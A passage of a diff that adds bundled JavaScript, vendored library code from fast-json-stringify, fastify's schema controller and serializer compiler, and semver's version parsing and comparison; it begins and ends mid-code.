=== 'object' && ${accessor}.constructor === Object`; + break; + case "array": + condition = `Array.isArray(${accessor})`; + break; + default: + if (Array.isArray(type)) { + const conditions = type.map((subType) => { + return buildArrayTypeCondition(subType, accessor); + }); + condition = `(${conditions.join(" || ")})`; + } + } + return condition; + } + function generateFuncName(context2) { + return "anonymous" + context2.functionsCounter++; + } + function buildMultiTypeSerializer(context2, location, input) { + const schema = location.schema; + const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); + let code = ""; + types2.forEach((type, index2) => { + location.schema = { ...location.schema, type }; + const nestedResult = buildSingleTypeSerializer(context2, location, input); + const statement = index2 === 0 ? "if" : "else if"; + switch (type) { + case "null": + code += ` + ${statement} (${input} === null) { + ${nestedResult} + } + `; + break; + case "string": { + code += ` + ${statement}( + typeof ${input} === "string" || + ${input} === null || + ${input} instanceof Date || + ${input} instanceof RegExp || + ( + typeof ${input} === "object" && + typeof ${input}.toString === "function" && + ${input}.toString !== Object.prototype.toString + ) + ) { + ${nestedResult} + } + `; + break; + } + case "array": { + code += ` + ${statement}(Array.isArray(${input})) { + ${nestedResult} + } + `; + break; + } + case "integer": { + code += ` + ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${nestedResult} + } + `; + break; + } + default: { + code += ` + ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${nestedResult} + } + `; + break; + } + } + }); + code += ` + else throw new TypeError(\`The value of '${getSafeSchemaRef(context2, location)}' does not match schema definition.\`) + `; + return code; + } + function buildSingleTypeSerializer(context2, location, input) { + const schema = location.schema; + switch (schema.type) { + case "null": + return "json += JSON_STR_NULL"; + case "string": { + if (schema.format === "date-time") { + return `json += asDateTime(${input})`; + } else if (schema.format === "date") { + return `json += asDate(${input})`; + } else if (schema.format === "time") { + return `json += asTime(${input})`; + } else if (schema.format === "unsafe") { + return `json += asUnsafeString(${input})`; + } else { + return ` + if (typeof ${input} !== 'string') { + if (${input} === null) { + json += JSON_STR_EMPTY_STRING + } else if (${input} instanceof Date) { + json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE + } else if (${input} instanceof RegExp) { + json += asString(${input}.source) + } else { + json += asString(${input}.toString()) + } + } else { + json += asString(${input}) + } + `; + } + } + case "integer": + return `json += asInteger(${input})`; + case "number": + return `json += asNumber(${input})`; + case "boolean": + return `json += asBoolean(${input})`; + case "object": { + return buildObject(context2, location, input); + } + case "array": { + return buildArray(context2, location, input); + } + case void 0: + return `json += JSON.stringify(${input})`; + default: + throw new Error(`${schema.type} unsupported`); + } + } + function detectRecursiveSchemas(context2, location) { + const pathStack = /* @__PURE__ */ new Set(); + function traverse(location2) { + const schema = location2.schema; + if (typeof schema !== "object" || schema === null) return; + const schemaId = location2.schemaId || ""; + const jsonPointer = location2.jsonPointer || ""; + const fullPath = `${schemaId}#${jsonPointer}`; + if (pathStack.has(fullPath)) { + let inCycle = false; + for (const p of pathStack) { + if (p === fullPath) inCycle = true; + if (inCycle) context2.recursivePaths.add(p); + } + context2.recursivePaths.add(fullPath); + return; + } + pathStack.add(fullPath); + if (schema.$ref) { + try { + const res = resolveRef2(context2, location2); + traverse(res); + } catch (err) { + } + } + if (schema.properties) { + const propertiesLocation = location2.getPropertyLocation("properties"); + for (const key in schema.properties) { + traverse(propertiesLocation.getPropertyLocation(key)); + } + } + if (schema.additionalProperties && typeof schema.additionalProperties === "object") { + traverse(location2.getPropertyLocation("additionalProperties")); + } + if (schema.patternProperties) { + const patternPropertiesLocation = location2.getPropertyLocation("patternProperties"); + for (const key in schema.patternProperties) { + traverse(patternPropertiesLocation.getPropertyLocation(key)); + } + } + if (schema.items) { + const itemsLocation = location2.getPropertyLocation("items"); + if (Array.isArray(schema.items)) { + for (let i = 0; i < schema.items.length; i++) { + traverse(itemsLocation.getPropertyLocation(i)); + } + } else { + traverse(itemsLocation); + } + } + if (schema.additionalItems && typeof schema.additionalItems === "object") { + traverse(location2.getPropertyLocation("additionalItems")); + } + if (schema.oneOf) { + const oneOfLocation = location2.getPropertyLocation("oneOf"); + for (let i = 0; i < schema.oneOf.length; i++) { + traverse(oneOfLocation.getPropertyLocation(i)); + } + } + if (schema.anyOf) { + const anyOfLocation = location2.getPropertyLocation("anyOf"); + for (let i = 0; i < schema.anyOf.length; i++) { + traverse(anyOfLocation.getPropertyLocation(i)); + } + } + if (schema.allOf) { + const allOfLocation = location2.getPropertyLocation("allOf"); + for (let i = 0; i < schema.allOf.length; i++) { + traverse(allOfLocation.getPropertyLocation(i)); + } + } + if (schema.then) traverse(location2.getPropertyLocation("then")); + if (schema.else) traverse(location2.getPropertyLocation("else")); + pathStack.delete(fullPath); + } + traverse(location); + } + function buildConstSerializer(location, input) { + const schema = location.schema; + const type = schema.type; + const hasNullType = Array.isArray(type) && type.includes("null"); + let code = ""; + if (hasNullType) { + code += ` + if (${input} === null) { + json += JSON_STR_NULL + } else { + `; + } + code += `json += ${JSON.stringify(JSON.stringify(schema.const))}`; + if (hasNullType) { + code += ` + } + `; + } + return code; + } + function buildAllOf(context2, location, input) { + const schema = location.schema; + let mergedSchemaId = context2.mergedSchemasIds.get(schema); + if (mergedSchemaId) { + const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); + return buildValue(context2, mergedLocation2, input); + } + mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; + context2.mergedSchemasIds.set(schema, mergedSchemaId); + const { allOf, ...schemaWithoutAllOf } = location.schema; + const locations = [ + new Location( + schemaWithoutAllOf, + location.schemaId, + location.jsonPointer + ) + ]; + const allOfsLocation = location.getPropertyLocation("allOf"); + for (let i = 0, allOfLength = allOf.length; i < allOfLength; i++) { + locations.push(allOfsLocation.getPropertyLocation(i)); + } + const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); + return buildValue(context2, mergedLocation, input); + } + function buildOneOf(context2, location, input) { + context2.validatorSchemasIds.add(location.schemaId); + const schema = location.schema; + const type = schema.anyOf ? "anyOf" : "oneOf"; + const { [type]: oneOfs, ...schemaWithoutAnyOf } = location.schema; + const locationWithoutOneOf = new Location( + schemaWithoutAnyOf, + location.schemaId, + location.jsonPointer + ); + const oneOfsLocation = location.getPropertyLocation(type); + let code = ""; + for (let index2 = 0, oneOfsLength = oneOfs.length; index2 < oneOfsLength; index2++) { + const optionLocation = oneOfsLocation.getPropertyLocation(index2); + const optionSchema = optionLocation.schema; + let mergedSchemaId = context2.mergedSchemasIds.get(optionSchema); + let mergedLocation = null; + if (mergedSchemaId) { + mergedLocation = getMergedLocation(context2, mergedSchemaId); + } else { + mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; + context2.mergedSchemasIds.set(optionSchema, mergedSchemaId); + mergedLocation = mergeLocations(context2, mergedSchemaId, [ + locationWithoutOneOf, + optionLocation + ]); + } + const nestedResult = buildValue(context2, mergedLocation, input); + const schemaRef = optionLocation.getSchemaRef(); + code += ` + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${nestedResult} + } + `; + } + code += ` + else throw new TypeError(\`The value of '${getSafeSchemaRef(context2, location)}' does not match schema definition.\`) + `; + return code; + } + function buildIfThenElse(context2, location, input) { + context2.validatorSchemasIds.add(location.schemaId); + const { + if: ifSchema, + then: thenSchema, + else: elseSchema, + ...schemaWithoutIfThenElse + } = location.schema; + const rootLocation = new Location( + schemaWithoutIfThenElse, + location.schemaId, + location.jsonPointer + ); + const ifLocation = location.getPropertyLocation("if"); + const ifSchemaRef = ifLocation.getSchemaRef(); + const thenLocation = location.getPropertyLocation("then"); + let thenMergedSchemaId = context2.mergedSchemasIds.get(thenSchema); + let thenMergedLocation = null; + if (thenMergedSchemaId) { + thenMergedLocation = getMergedLocation(context2, thenMergedSchemaId); + } else { + thenMergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; + context2.mergedSchemasIds.set(thenSchema, thenMergedSchemaId); + thenMergedLocation = mergeLocations(context2, thenMergedSchemaId, [ + rootLocation, + thenLocation + ]); + } + if (!elseSchema) { + return ` + if (validator.validate("${ifSchemaRef}", ${input})) { + ${buildValue(context2, thenMergedLocation, input)} + } else { + ${buildValue(context2, rootLocation, input)} + } + `; + } + const elseLocation = location.getPropertyLocation("else"); + let elseMergedSchemaId = context2.mergedSchemasIds.get(elseSchema); + let elseMergedLocation = null; + if (elseMergedSchemaId) { + elseMergedLocation = getMergedLocation(context2, elseMergedSchemaId); + } else { + elseMergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; + context2.mergedSchemasIds.set(elseSchema, elseMergedSchemaId); + elseMergedLocation = mergeLocations(context2, elseMergedSchemaId, [ + rootLocation, + elseLocation + ]); + } + return ` + if (validator.validate("${ifSchemaRef}", ${input})) { + ${buildValue(context2, thenMergedLocation, input)} + } else { + ${buildValue(context2, elseMergedLocation, input)} + } + `; + } + function buildValue(context2, location, input) { + let schema = location.schema; + if (typeof schema === "boolean") { + return `json += JSON.stringify(${input})`; + } + if (schema.$ref) { + location = resolveRef2(context2, location); + schema = location.schema; + } + if (schema.allOf) { + return buildAllOf(context2, location, input); + } + if (schema.anyOf || schema.oneOf) { + return buildOneOf(context2, location, input); + } + if (schema.if && schema.then) { + return buildIfThenElse(context2, location, input); + } + if (schema.type === void 0) { + const inferredType = inferTypeByKeyword(schema); + if (inferredType) { + schema.type = inferredType; + } + } + let code = ""; + const type = schema.type; + const nullable2 = schema.nullable === true; + if (nullable2) { + code += ` + if (${input} === null) { + json += JSON_STR_NULL + } else { + `; + } + if (schema.const !== void 0) { + code += buildConstSerializer(location, input); + } else if (Array.isArray(type)) { + code += buildMultiTypeSerializer(context2, location, input); + } else { + code += buildSingleTypeSerializer(context2, location, input); + } + if (nullable2) { + code += ` + } + `; + } + return code; + } + module.exports = build; + module.exports.default = build; + module.exports.build = build; + module.exports.validLargeArrayMechanisms = validLargeArrayMechanisms; + module.exports.restore = function({ code, validator, serializer }) { + return Function.apply(null, ["validator", "serializer", code]).apply(null, [validator, serializer]); + }; + } +}); + +// node_modules/.pnpm/@fastify+fast-json-stringify-compiler@5.1.0/node_modules/@fastify/fast-json-stringify-compiler/standalone.js +var require_standalone4 = __commonJS({ + "node_modules/.pnpm/@fastify+fast-json-stringify-compiler@5.1.0/node_modules/@fastify/fast-json-stringify-compiler/standalone.js"(exports, module) { + "use strict"; + var fastJsonStringify = require_fast_json_stringify(); + function SerializerSelector() { + return function buildSerializerFactory(externalSchemas, serializerOpts) { + const fjsOpts = Object.assign({}, serializerOpts, { schema: externalSchemas }); + return responseSchemaCompiler.bind(null, fjsOpts); + }; + } + function responseSchemaCompiler(fjsOpts, { + schema + /* method, url, httpStatus */ + }) { + if (fjsOpts.schema && schema.$id && fjsOpts.schema[schema.$id]) { + fjsOpts.schema = { ...fjsOpts.schema }; + delete fjsOpts.schema[schema.$id]; + } + return fastJsonStringify(schema, fjsOpts); + } + function StandaloneSerializer(options = { readMode: true }) { + if (options.readMode === true && typeof options.restoreFunction !== "function") { + throw new Error("You must provide a function for the restoreFunction-option when readMode ON"); + } + if (options.readMode !== true && typeof options.storeFunction !== "function") { + throw new Error("You must provide a function for the storeFunction-option when readMode OFF"); + } + if (options.readMode === true) { + return function wrapper() { + return function(opts) { + return options.restoreFunction(opts); + }; + }; + } + const factory = SerializerSelector(); + return function wrapper(externalSchemas, serializerOpts = {}) { + serializerOpts.mode = "standalone"; + const compiler = factory(externalSchemas, serializerOpts); + return function(opts) { + const serializeFuncCode = compiler(opts); + options.storeFunction(opts, serializeFuncCode); + return new Function(serializeFuncCode); + }; + }; + } + module.exports.SerializerSelector = SerializerSelector; + module.exports.StandaloneSerializer = StandaloneSerializer; + module.exports.default = StandaloneSerializer; + } +}); + +// node_modules/.pnpm/@fastify+fast-json-stringify-compiler@5.1.0/node_modules/@fastify/fast-json-stringify-compiler/index.js +var require_fast_json_stringify_compiler = __commonJS({ + "node_modules/.pnpm/@fastify+fast-json-stringify-compiler@5.1.0/node_modules/@fastify/fast-json-stringify-compiler/index.js"(exports, module) { + "use strict"; + var { SerializerSelector, StandaloneSerializer } = require_standalone4(); + module.exports = SerializerSelector; + module.exports.default = SerializerSelector; + module.exports.SerializerSelector = SerializerSelector; + module.exports.StandaloneSerializer = StandaloneSerializer; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/schema-controller.js +var require_schema_controller = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/schema-controller.js"(exports, module) { + "use strict"; + var { buildSchemas } = require_schemas(); + function buildSchemaController(parentSchemaCtrl, opts) { + if (parentSchemaCtrl) { + return new SchemaController(parentSchemaCtrl, opts); + } + const compilersFactory = Object.assign({ + buildValidator: null, + buildSerializer: null + }, opts?.compilersFactory); + if (!compilersFactory.buildValidator) { + const ValidatorSelector = require_ajv_compiler(); + compilersFactory.buildValidator = ValidatorSelector(); + } + if (!compilersFactory.buildSerializer) { + const SerializerSelector = require_fast_json_stringify_compiler(); + compilersFactory.buildSerializer = SerializerSelector(); + } + const option = { + bucket: opts && opts.bucket || buildSchemas, + compilersFactory, + isCustomValidatorCompiler: typeof opts?.compilersFactory?.buildValidator === "function", + isCustomSerializerCompiler: typeof opts?.compilersFactory?.buildSerializer === "function" + }; + return new SchemaController(void 0, option); + } + var SchemaController = class { + constructor(parent, options) { + this.opts = options || parent?.opts; + this.addedSchemas = false; + this.compilersFactory = this.opts.compilersFactory; + if (parent) { + this.schemaBucket = this.opts.bucket(parent.getSchemas()); + this.validatorCompiler = parent.getValidatorCompiler(); + this.serializerCompiler = parent.getSerializerCompiler(); + this.isCustomValidatorCompiler = parent.isCustomValidatorCompiler; + this.isCustomSerializerCompiler = parent.isCustomSerializerCompiler; + this.parent = parent; + } else { + this.schemaBucket = this.opts.bucket(); + this.isCustomValidatorCompiler = this.opts.isCustomValidatorCompiler || false; + this.isCustomSerializerCompiler = this.opts.isCustomSerializerCompiler || false; + } + } + // Bucket interface + add(schema) { + this.addedSchemas = true; + return this.schemaBucket.add(schema); + } + getSchema(schemaId) { + return this.schemaBucket.getSchema(schemaId); + } + getSchemas() { + return this.schemaBucket.getSchemas(); + } + setValidatorCompiler(validatorCompiler) { + this.compilersFactory = Object.assign( + {}, + this.compilersFactory, + { buildValidator: () => validatorCompiler } + ); + this.validatorCompiler = validatorCompiler; + this.isCustomValidatorCompiler = true; + } + setSerializerCompiler(serializerCompiler) { + this.compilersFactory = Object.assign( + {}, + this.compilersFactory, + { buildSerializer: () => serializerCompiler } + ); + this.serializerCompiler = serializerCompiler; + this.isCustomSerializerCompiler = true; + } + getValidatorCompiler() { + return this.validatorCompiler || this.parent && this.parent.getValidatorCompiler(); + } + getSerializerCompiler() { + return this.serializerCompiler || this.parent && this.parent.getSerializerCompiler(); + } + getSerializerBuilder() { + return this.compilersFactory.buildSerializer || this.parent && this.parent.getSerializerBuilder(); + } + getValidatorBuilder() { + return this.compilersFactory.buildValidator || this.parent && this.parent.getValidatorBuilder(); + } + /** + * This method will be called when a validator must be setup. + * Do not setup the compiler more than once + * @param {object} serverOptions the fastify server options + */ + setupValidator(serverOptions) { + const isReady = this.validatorCompiler !== void 0 && !this.addedSchemas; + if (isReady) { + return; + } + this.validatorCompiler = this.getValidatorBuilder()(this.schemaBucket.getSchemas(), serverOptions.ajv); + } + /** + * This method will be called when a serializer must be setup. + * Do not setup the compiler more than once + * @param {object} serverOptions the fastify server options + */ + setupSerializer(serverOptions) { + const isReady = this.serializerCompiler !== void 0 && !this.addedSchemas; + if (isReady) { + return; + } + this.serializerCompiler = this.getSerializerBuilder()(this.schemaBucket.getSchemas(), serverOptions.serializerOpts); + } + }; + SchemaController.buildSchemaController = buildSchemaController; + module.exports = SchemaController; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/constants.js +var require_constants4 = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/constants.js"(exports, module) { + "use strict"; + var SEMVER_SPEC_VERSION = "2.0.0"; + var MAX_LENGTH = 256; + var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || /* istanbul ignore next */ + 9007199254740991; + var MAX_SAFE_COMPONENT_LENGTH = 16; + var MAX_SAFE_BUILD_LENGTH = MAX_LENGTH - 6; + var RELEASE_TYPES = [ + "major", + "premajor", + "minor", + "preminor", + "patch", + "prepatch", + "prerelease" + ]; + module.exports = { + MAX_LENGTH, + MAX_SAFE_COMPONENT_LENGTH, + MAX_SAFE_BUILD_LENGTH, + MAX_SAFE_INTEGER, + RELEASE_TYPES, + SEMVER_SPEC_VERSION, + FLAG_INCLUDE_PRERELEASE: 1, + FLAG_LOOSE: 2 + }; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/debug.js +var require_debug2 = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/debug.js"(exports, module) { + "use strict"; + var debug = typeof process === "object" && process.env && process.env.NODE_DEBUG && /\bsemver\b/i.test(process.env.NODE_DEBUG) ? (...args) => console.error("SEMVER", ...args) : () => { + }; + module.exports = debug; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/re.js +var require_re = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/re.js"(exports, module) { + "use strict"; + var { + MAX_SAFE_COMPONENT_LENGTH, + MAX_SAFE_BUILD_LENGTH, + MAX_LENGTH + } = require_constants4(); + var debug = require_debug2(); + exports = module.exports = {}; + var re2 = exports.re = []; + var safeRe = exports.safeRe = []; + var src = exports.src = []; + var safeSrc = exports.safeSrc = []; + var t = exports.t = {}; + var R = 0; + var LETTERDASHNUMBER = "[a-zA-Z0-9-]"; + var safeRegexReplacements = [ + ["\\s", 1], + ["\\d", MAX_LENGTH], + [LETTERDASHNUMBER, MAX_SAFE_BUILD_LENGTH] + ]; + var makeSafeRegex = (value) => { + for (const [token, max] of safeRegexReplacements) { + value = value.split(`${token}*`).join(`${token}{0,${max}}`).split(`${token}+`).join(`${token}{1,${max}}`); + } + return value; + }; + var createToken = (name, value, isGlobal) => { + const safe = makeSafeRegex(value); + const index2 = R++; + debug(name, index2, value); + t[name] = index2; + src[index2] = value; + safeSrc[index2] = safe; + re2[index2] = new RegExp(value, isGlobal ? "g" : void 0); + safeRe[index2] = new RegExp(safe, isGlobal ? "g" : void 0); + }; + createToken("NUMERICIDENTIFIER", "0|[1-9]\\d*"); + createToken("NUMERICIDENTIFIERLOOSE", "\\d+"); + createToken("NONNUMERICIDENTIFIER", `\\d*[a-zA-Z-]${LETTERDASHNUMBER}*`); + createToken("MAINVERSION", `(${src[t.NUMERICIDENTIFIER]})\\.(${src[t.NUMERICIDENTIFIER]})\\.(${src[t.NUMERICIDENTIFIER]})`); + createToken("MAINVERSIONLOOSE", `(${src[t.NUMERICIDENTIFIERLOOSE]})\\.(${src[t.NUMERICIDENTIFIERLOOSE]})\\.(${src[t.NUMERICIDENTIFIERLOOSE]})`); + createToken("PRERELEASEIDENTIFIER", `(?:${src[t.NONNUMERICIDENTIFIER]}|${src[t.NUMERICIDENTIFIER]})`); + createToken("PRERELEASEIDENTIFIERLOOSE", `(?:${src[t.NONNUMERICIDENTIFIER]}|${src[t.NUMERICIDENTIFIERLOOSE]})`); + createToken("PRERELEASE", `(?:-(${src[t.PRERELEASEIDENTIFIER]}(?:\\.${src[t.PRERELEASEIDENTIFIER]})*))`); + createToken("PRERELEASELOOSE", `(?:-?(${src[t.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${src[t.PRERELEASEIDENTIFIERLOOSE]})*))`); + createToken("BUILDIDENTIFIER", `${LETTERDASHNUMBER}+`); + createToken("BUILD", `(?:\\+(${src[t.BUILDIDENTIFIER]}(?:\\.${src[t.BUILDIDENTIFIER]})*))`); + createToken("FULLPLAIN", `v?${src[t.MAINVERSION]}${src[t.PRERELEASE]}?${src[t.BUILD]}?`); + createToken("FULL", `^${src[t.FULLPLAIN]}$`); + createToken("LOOSEPLAIN", `[v=\\s]*${src[t.MAINVERSIONLOOSE]}${src[t.PRERELEASELOOSE]}?${src[t.BUILD]}?`); + createToken("LOOSE", `^${src[t.LOOSEPLAIN]}$`); + createToken("GTLT", "((?:<|>)?=?)"); + createToken("XRANGEIDENTIFIERLOOSE", `${src[t.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`); + createToken("XRANGEIDENTIFIER", `${src[t.NUMERICIDENTIFIER]}|x|X|\\*`); + createToken("XRANGEPLAIN", `[v=\\s]*(${src[t.XRANGEIDENTIFIER]})(?:\\.(${src[t.XRANGEIDENTIFIER]})(?:\\.(${src[t.XRANGEIDENTIFIER]})(?:${src[t.PRERELEASE]})?${src[t.BUILD]}?)?)?`); + createToken("XRANGEPLAINLOOSE", `[v=\\s]*(${src[t.XRANGEIDENTIFIERLOOSE]})(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})(?:${src[t.PRERELEASELOOSE]})?${src[t.BUILD]}?)?)?`); + createToken("XRANGE", `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAIN]}$`); + createToken("XRANGELOOSE", `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAINLOOSE]}$`); + createToken("COERCEPLAIN", `${"(^|[^\\d])(\\d{1,"}${MAX_SAFE_COMPONENT_LENGTH}})(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?`); + createToken("COERCE", `${src[t.COERCEPLAIN]}(?:$|[^\\d])`); + createToken("COERCEFULL", src[t.COERCEPLAIN] + `(?:${src[t.PRERELEASE]})?(?:${src[t.BUILD]})?(?:$|[^\\d])`); + createToken("COERCERTL", src[t.COERCE], true); + createToken("COERCERTLFULL", src[t.COERCEFULL], true); + createToken("LONETILDE", "(?:~>?)"); + createToken("TILDETRIM", `(\\s*)${src[t.LONETILDE]}\\s+`, true); + exports.tildeTrimReplace = "$1~"; + createToken("TILDE", `^${src[t.LONETILDE]}${src[t.XRANGEPLAIN]}$`); + createToken("TILDELOOSE", `^${src[t.LONETILDE]}${src[t.XRANGEPLAINLOOSE]}$`); + createToken("LONECARET", "(?:\\^)"); + createToken("CARETTRIM", `(\\s*)${src[t.LONECARET]}\\s+`, true); + exports.caretTrimReplace = "$1^"; + createToken("CARET", `^${src[t.LONECARET]}${src[t.XRANGEPLAIN]}$`); + createToken("CARETLOOSE", `^${src[t.LONECARET]}${src[t.XRANGEPLAINLOOSE]}$`); + createToken("COMPARATORLOOSE", `^${src[t.GTLT]}\\s*(${src[t.LOOSEPLAIN]})$|^$`); + createToken("COMPARATOR", `^${src[t.GTLT]}\\s*(${src[t.FULLPLAIN]})$|^$`); + createToken("COMPARATORTRIM", `(\\s*)${src[t.GTLT]}\\s*(${src[t.LOOSEPLAIN]}|${src[t.XRANGEPLAIN]})`, true); + exports.comparatorTrimReplace = "$1$2$3"; + createToken("HYPHENRANGE", `^\\s*(${src[t.XRANGEPLAIN]})\\s+-\\s+(${src[t.XRANGEPLAIN]})\\s*$`); + createToken("HYPHENRANGELOOSE", `^\\s*(${src[t.XRANGEPLAINLOOSE]})\\s+-\\s+(${src[t.XRANGEPLAINLOOSE]})\\s*$`); + createToken("STAR", "(<|>)?=?\\s*\\*"); + createToken("GTE0", "^\\s*>=\\s*0\\.0\\.0\\s*$"); + createToken("GTE0PRE", "^\\s*>=\\s*0\\.0\\.0-0\\s*$"); + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/parse-options.js +var require_parse_options = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/parse-options.js"(exports, module) { + "use strict"; + var looseOption = Object.freeze({ loose: true }); + var emptyOpts = Object.freeze({}); + var parseOptions2 = (options) => { + if (!options) { + return emptyOpts; + } + if (typeof options !== "object") { + return looseOption; + } + return options; + }; + module.exports = parseOptions2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/identifiers.js +var require_identifiers = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/identifiers.js"(exports, module) { + "use strict"; + var numeric2 = /^[0-9]+$/; + var compareIdentifiers = (a, b2) => { + if (typeof a === "number" && typeof b2 === "number") { + return a === b2 ? 0 : a < b2 ? -1 : 1; + } + const anum = numeric2.test(a); + const bnum = numeric2.test(b2); + if (anum && bnum) { + a = +a; + b2 = +b2; + } + return a === b2 ? 0 : anum && !bnum ? -1 : bnum && !anum ? 1 : a < b2 ? -1 : 1; + }; + var rcompareIdentifiers = (a, b2) => compareIdentifiers(b2, a); + module.exports = { + compareIdentifiers, + rcompareIdentifiers + }; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/semver.js +var require_semver = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/semver.js"(exports, module) { + "use strict"; + var debug = require_debug2(); + var { MAX_LENGTH, MAX_SAFE_INTEGER } = require_constants4(); + var { safeRe: re2, t } = require_re(); + var parseOptions2 = require_parse_options(); + var { compareIdentifiers } = require_identifiers(); + var isPrereleaseIdentifier = (prerelease, identifier) => { + const identifiers = identifier.split("."); + if (identifiers.length > prerelease.length) { + return false; + } + for (let i = 0; i < identifiers.length; i++) { + if (compareIdentifiers(prerelease[i], identifiers[i]) !== 0) { + return false; + } + } + return true; + }; + var SemVer = class _SemVer { + constructor(version3, options) { + options = parseOptions2(options); + if (version3 instanceof _SemVer) { + if (version3.loose === !!options.loose && version3.includePrerelease === !!options.includePrerelease) { + return version3; + } else { + version3 = version3.version; + } + } else if (typeof version3 !== "string") { + throw new TypeError(`Invalid version. Must be a string. Got type "${typeof version3}".`); + } + if (version3.length > MAX_LENGTH) { + throw new TypeError( + `version is longer than ${MAX_LENGTH} characters` + ); + } + debug("SemVer", version3, options); + this.options = options; + this.loose = !!options.loose; + this.includePrerelease = !!options.includePrerelease; + const m = version3.trim().match(options.loose ? re2[t.LOOSE] : re2[t.FULL]); + if (!m) { + throw new TypeError(`Invalid Version: ${version3}`); + } + this.raw = version3; + this.major = +m[1]; + this.minor = +m[2]; + this.patch = +m[3]; + if (this.major > MAX_SAFE_INTEGER || this.major < 0) { + throw new TypeError("Invalid major version"); + } + if (this.minor > MAX_SAFE_INTEGER || this.minor < 0) { + throw new TypeError("Invalid minor version"); + } + if (this.patch > MAX_SAFE_INTEGER || this.patch < 0) { + throw new TypeError("Invalid patch version"); + } + if (!m[4]) { + this.prerelease = []; + } else { + this.prerelease = m[4].split(".").map((id) => { + if (/^[0-9]+$/.test(id)) { + const num = +id; + if (num >= 0 && num < MAX_SAFE_INTEGER) { + return num; + } + } + return id; + }); + } + this.build = m[5] ? m[5].split(".") : []; + this.format(); + } + format() { + this.version = `${this.major}.${this.minor}.${this.patch}`; + if (this.prerelease.length) { + this.version += `-${this.prerelease.join(".")}`; + } + return this.version; + } + toString() { + return this.version; + } + compare(other) { + debug("SemVer.compare", this.version, this.options, other); + if (!(other instanceof _SemVer)) { + if (typeof other === "string" && other === this.version) { + return 0; + } + other = new _SemVer(other, this.options); + } + if (other.version === this.version) { + return 0; + } + return this.compareMain(other) || this.comparePre(other); + } + compareMain(other) { + if (!(other instanceof _SemVer)) { + other = new _SemVer(other, this.options); + } + if (this.major < other.major) { + return -1; + } + if (this.major > other.major) { + return 1; + } + if (this.minor < other.minor) { + return -1; + } + if (this.minor > other.minor) { + return 1; + } + if (this.patch < other.patch) { + return -1; + } + if (this.patch > other.patch) { + return 1; + } + return 0; + } + comparePre(other) { + if (!(other instanceof _SemVer)) { + other = new _SemVer(other, this.options); + } + if (this.prerelease.length && !other.prerelease.length) { + return -1; + } else if (!this.prerelease.length && other.prerelease.length) { + return 1; + } else if (!this.prerelease.length && !other.prerelease.length) { + return 0; + } + let i = 0; + do { + const a = this.prerelease[i]; + const b2 = other.prerelease[i]; + debug("prerelease compare", i, a, b2); + if (a === void 0 && b2 === void 0) { + return 0; + } else if (b2 === void 0) { + return 1; + } else if (a === void 0) { + return -1; + } else if (a === b2) { + continue; + } else { + return compareIdentifiers(a, b2); + } + } while (++i); + } + compareBuild(other) { + if (!(other instanceof _SemVer)) { + other = new _SemVer(other, this.options); + } + let i = 0; + do { + const a = this.build[i]; + const b2 = other.build[i]; + debug("build compare", i, a, b2); + if (a === void 0 && b2 === void 0) { + return 0; + } else if (b2 === void 0) { + return 1; + } else if (a === void 0) { + return -1; + } else if (a === b2) { + continue; + } else { + return compareIdentifiers(a, b2); + } + } while (++i); + } + // preminor will bump the version up to the next minor release, and immediately + // down to pre-release. premajor and prepatch work the same way. + inc(release, identifier, identifierBase) { + if (release.startsWith("pre")) { + if (!identifier && identifierBase === false) { + throw new Error("invalid increment argument: identifier is empty"); + } + if (identifier) { + const match = `-${identifier}`.match(this.options.loose ? re2[t.PRERELEASELOOSE] : re2[t.PRERELEASE]); + if (!match || match[1] !== identifier) { + throw new Error(`invalid identifier: ${identifier}`); + } + } + } + switch (release) { + case "premajor": + this.prerelease.length = 0; + this.patch = 0; + this.minor = 0; + this.major++; + this.inc("pre", identifier, identifierBase); + break; + case "preminor": + this.prerelease.length = 0; + this.patch = 0; + this.minor++; + this.inc("pre", identifier, identifierBase); + break; + case "prepatch": + this.prerelease.length = 0; + this.inc("patch", identifier, identifierBase); + this.inc("pre", identifier, identifierBase); + break; + // If the input is a non-prerelease version, this acts the same as + // prepatch. + case "prerelease": + if (this.prerelease.length === 0) { + this.inc("patch", identifier, identifierBase); + } + this.inc("pre", identifier, identifierBase); + break; + case "release": + if (this.prerelease.length === 0) { + throw new Error(`version ${this.raw} is not a prerelease`); + } + this.prerelease.length = 0; + break; + case "major": + if (this.minor !== 0 || this.patch !== 0 || 